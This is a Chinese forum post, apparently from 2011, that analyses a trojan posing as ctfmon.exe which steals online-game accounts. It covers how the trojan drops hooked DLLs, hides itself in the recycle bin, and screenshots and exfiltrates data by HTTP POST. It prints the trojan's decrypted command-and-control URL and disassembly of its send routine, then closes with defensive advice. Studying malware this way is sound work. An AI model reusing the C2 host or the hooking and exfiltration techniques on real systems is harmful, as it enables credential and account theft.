找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1374|回复: 0

对一款盗号木马的详细分析

[复制链接]

155

主题

15

回帖

360

牛毛

一级牛人

积分
360
发表于 2011-9-28 15:10:34 | 显示全部楼层 |阅读模式 来自 河北省石家庄市
一、主程序流程分析:
主程序名:ctfmon.exe(仿冒微软输入法配置程序)
壳 :无壳
编写语言:汇编(估计)

1. 用GetLogicalDriveStringsA API获得所有系统盘符存放到一个字符串;

2. 读取自身文件尾部的0x1C4字节数据,并根据最后4字节的DWORD值,调用NEW函
数申请内存(为0x2A00大小);

3. 从自身文件距离尾部(0x1C4+0x2A00)字节处,读取0x2A00字节数据,存储到
上面NEW出来的内存中;

4. 关闭游戏主程序******nest.exe;

5. 根据注册表项:SOFTWARE\\snda\\dn和
Software\Microsoft\Windows\ShellNoRoam\MUICache
找到游戏所在目录生成gamewidget.dll和midimap.dll,dll,内容为第3步中的数据写
2001次,再加上文件尾部的0x1C4字节数据,共20.5 MB (21,515,204 字节)(太大
了-.-)。(因为我没有安装这个游戏,所以也没有这些注册表项目,实际当中我自己
建了一个SOFTWARE\\snda\\dn注册表项,随便给了一个路径)

6. 根据第1点里面得到的所有系统盘符字符串,用SearchTreeForFile API(盘符多,
硬盘大的时候好慢啊),查找Dnlauncher.exe程序,找到了之后在该目录下创建
gamewidget.dll和midimap.dll,因为没装游戏,我又伪造了一个Dnlauncher.exe
(-.-)

7. 本程序实现的自删除,会因机器是否安装有瑞星而有所不同。机器没有安装瑞星时
是把自己移动到程序所在盘符的RECYCLER文件夹中,并重命名成一个GetTickCount
得到的数字+.tmp后缀名的文件。在XP系统上这个文件比桌面上的回收站目录高一级,
所以点击桌面的回收站,里面会看不到这个文件。机器安装了瑞星则不做上述处理。最
后会将此文件设为下次重启电脑时删除。

二、生成的DLL模块流程分析:
1. 上面所说的gamewidget.dll和midimap.dll,dll内容都是一样,虽然文件很大(重
复写了太多次的结果),但内容还是用了UPX加壳了(UPX 0.80 - 1.24 DLL)。ESP
定律简单脱壳,PEID再查一下为Microsoft Visual C++ 6.0 DLL。

2. 该dll首先将系统目录(XP系统为\WINDOWS\system32\)下的midimap.dll文件
复制一份为lqmidimap.dll放到同一目录下,然后创建一个线程,接下来的工作都在此线
程中完成。

3. 进入线程后首先会创建一个互斥体对象防止线程多次运行,接下来比较主模块的模
块名是否是“******Nest.exe”。如果不是则退出,如果是继续以下步骤。

4. 读取自身文件最后0x1C4字节(这里就要注意脱壳后的文件最后的字节和脱壳前已
经不一样了,为了调试方便可以把脱壳前文件的尾部数据添加到脱壳后dll中),进行几
步相套的算法变换,将最后的0x1C4字节解密出来,解密出来的数据如下:

10***04C48 68 74 74 70 3A 2F 2F 68 61 68 61 35 2E 68 61 6F http://haha5.hao
10***04C58 72 65 6E 36 37 38 2E 63 6F 6D 3A 38 30 31 31 2F ren678.com:8011/
10***04C68 66 65 6E 2F 71 6C 6E 62 32 30 2F 61 73 64 66 61 fen/qlnb20/asdfa
10***04C78 67 61 73 61 73 64 66 67 7A 78 63 76 2E 61 73 70 gasasdfgzxcv.asp
10***04C88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10***04C98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10***04CA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10***04CB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10***04CC8 68 74 74 70 3A 2F 2F 68 61 68 61 35 2E 68 61 6F http://haha5.hao
10***04CD8 72 65 6E 36 37 38 2E 63 6F 6D 3A 38 30 31 31 2F ren678.com:8011/
10***04CE8 66 65 6E 2F 71 6C 6E 62 32 30 2F 61 73 64 66 61 fen/qlnb20/asdfa
10***04CF8 67 61 73 61 73 64 66 67 7A 78 63 76 2E 61 73 70 gasasdfgzxcv.asp
10***04D08 68 74 74 70 3A 2F 2F 68 61 68 61 35 2E 68 61 6F ttp://haha5.hao
10***04D18 72 65 6E 36 37 38 2E 63 6F 6D 3A 38 30 31 31 2F ren678.com:8011/
10***04D28 66 65 6E 2F 71 6C 6E 62 32 30 2F 61 73 64 66 61 fen/qlnb20/asdfa
10***04D38 67 61 73 61 73 64 66 67 7A 78 63 76 2E 61 00 00 gasasdfgzxcv.a..
10***04D48 68 74 74 70 3A 2F 2F 68 61 68 61 35 2E 68 61 6F http://haha5.hao
10***04D58 72 65 6E 36 37 38 2E 63 6F 6D 3A 38 30 31 31 2F ren678.com:8011/
10***04D68 66 65 6E 2F 71 6C 6E 62 32 30 2F 61 73 64 66 61 fen/qlnb20/asdfa
10***04D78 67 61 73 61 73 64 66 67 7A 78 63 76 2E 61 73 70 gasasdfgzxcv.asp
10***04D88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10***04D98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10***04DA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10***04DB8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10***04DC8 78 78 73 73 00 00 00 00 00 00 00 00 00 00 00 00 xxss............
10***04DD8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
10***04DE8 61 62 63 64 00 00 00 00 00 00 00 00 00 00 00 00 abcd............
10***04DF8 31 37 34 30 39 34 38 38 00 00 00 00 00 00 00 00 174****9488........
10***04E08 00 2A 00 00 .*..

然后将http://haha5.haoren678.com:8011/fen/qlnb20/asdfagasasdfgzxcv.asp
最后的asdfagasasdfgzxcv.asp替换为MIBAO.asp
即为:http://haha5.haoren678.com:8011/fen/qlnb20/MIBAO.ASP
(难道是伪造密保页面吗?-.-)

5. 接下来HOOK了"user32.dll"中的MessageBoxTimeoutW"函数,至于HOOK的目 的,干了哪些事就不知道了。

6. 接下来,查找模块gwCore.dll,HOOK了该dll中一系列位置,IDA中看这一段看的云
里雾里。查找SDOA4ClientCom.dll模块,进行一系列HOOK。

7. 从LZGSERVER.ini文件中拿到SERVER项内容,使用URLDownloadToFileA函数下
载网页http://patch.dn.sdo.com/sndalist/sndalist_new.xml

保存到本机TEMP目录下,文件名为SerList.xml,进行一番查找比较。之后线程结束。

三、后续分析:
    分析到这里貌似也没什么再好分析的了,可能大家没看到木马作恶的过程有点失
望,是的,我也没看到,因为他的关键功能都是在HOOK之后所跳转到的代码里面完成
的,我大部分都是在IDA里面静态分析的,顺着流程走下来就是这样一个过程。

    为了不让大家太失望,也为了让自己不至于觉得太没成就感,我又回头看了一下逆
向分析的过程,结合导入表中的函数来看了下,该木马至少有屏幕截取和网络发送数据
的嫌疑。那么就再稍微跟踪一下这两个方面吧。

1. 网络发包分析:
还记得我们在dll分析的第4步中,得到的那个网址吧
http://haha5.haoren678.com:8011/fen/qlnb20/MIBAO.ASP
用IDA看一下,什么地方还引用了这个字符串,还真的有所收获:
1.JPG下载此附件需要消耗2Kx,下载中会自动扣除。

把sub_10***02B9E这个CALL跟进去,会发现里面有HTTP协议的数据发送和接收操
作。
UPX0:10***02DB7 push eax
UPX0:10***02DB8 push offset aPostSHttp1_1Ac ; "POST %s HTTP/1.1 Accept: text/plain, *"...
UPX0:10***02DBD push ebx ; Dest
UPX0:10***02DBE call sprintf
UPX0:10***02DC4 add esp, 54h
UPX0:10***02DC7 lea eax, [ebp+Dest]
……………………………………中间多余代码已删减………………………………………………
UPX0:10***02E2C push offset aQlmmsg ; "qlmmsg"
UPX0:10***02E31 push eax
UPX0:10***02E32 push offset aGetSHt ; "GET %s HT"
UPX0:10***02E37 push ebx ; Dest
UPX0:10***02E38 call sprintf
UPX0:10***02E3E push ebx ; Str
UPX0:10***02E3F call strlen
UPX0:10***02E44 add esp, 18h
UPX0:10***02E47 mov esi, eax
UPX0:10***02E49
UPX0:10***02E49 loc_10***02E49: ; CODE XREF: sub_10***02B9E+278j
UPX0:10***02E49 xor edi, edi
UPX0:10***02E4B push edi ; flags
UPX0:10***02E4C push esi ; len
UPX0:10***02E4D push ebx ; buf
UPX0:10***02E4E push [ebp+s] ; s
UPX0:10***02E51 call send ; 发送数据
……………………………………中间多余代码已删减………………………………………………
UPX0:10***02E86 push edi ; flags
UPX0:10***02E87 push esi ; len
UPX0:10***02E88 push eax ; buf
UPX0:10***02E89 push [ebp+s] ; s
UPX0:10***02E8C call recv ; 接收数据
UPX0:10***02E92 cmp eax, 0FFFFFFFFh
UPX0:10***02E95 jz short loc_10***02EDB
UPX0:10***02E97 mov esi, offset aHttp1_1400 ; "HTTP/1.1 400"

2. 截图过程分析:
     在我们第二阶段分析dll的时候其中第6步提到了该dll HOOK了gwCore.dll。使
gwCore.dll中的流程转到了自己的dll中来了,其中最后的一个HOOK(在IDB文件里面
我命名为hook_9)里面又对另外一个dll:SDOA4ClientCom.dll进行了HOOK(命名
为hook_8),在hook_8的代码里面有如下一些行为:

2.1 首先创建一个线程,该线程的作用是枚举屏幕窗口。
2.JPG下载此附件需要消耗2Kx,下载中会自动扣除。

2.2 对每个枚举到的屏幕窗口用GetClassName API获得其类名,比较是否匹
配"IEFrame"、"ShImgVw:CPreviewWnd"、"Afx:40***00:8"这三种,如果均不匹配
则不做任何处理。

2.3 如果匹配以上三种类名之一,则进行截屏并利用GDI+方法保存为BMP,JPG图形。

2.4 如果有截屏,则会将截屏图形通过上面的网络发包方式发送出去。

四、关于如何防范这类盗号木马或类似外挂的思考
     该盗号木马在功能实现上大量使用HOOK技术,防范这种攻击,作为游戏开发方应
该加强保护,例如对主程序和dll模块的保护,在一些关键位置进行必要的代码校验,如
关键代码md5验证,dll的CRC验证,dll的签名认证等。作为游戏玩家为了防止盗号类木
马入侵本机,造成盗号,应该注意少上来源不明的网站,不下载不可信的程序,及时给
系统或常用软件打补丁,避免恶意程序利用漏洞传播进入个人电脑。当然,攻与防的较
量是无止境的,“道高一尺,魔高一丈”,没有无坚不摧的防御,安全之路,任重而道
远。

五、IDA分析附件
1.ctfmon.exe:19.9 KB (20,420 字节)——主程序
2.1.dll:42.5 KB (43,520 字节)——生成的dll经过脱壳后的版本
3.复件 1.dll:53.4 KB (54,724 字节)——生成的dll经过脱壳后,并在尾部附加需要
解密的网址数据
本文由:SKF轴承 http://wwww.9-zc.com 整理发布
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-25 03:14 , Processed in 0.325963 second(s), 30 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表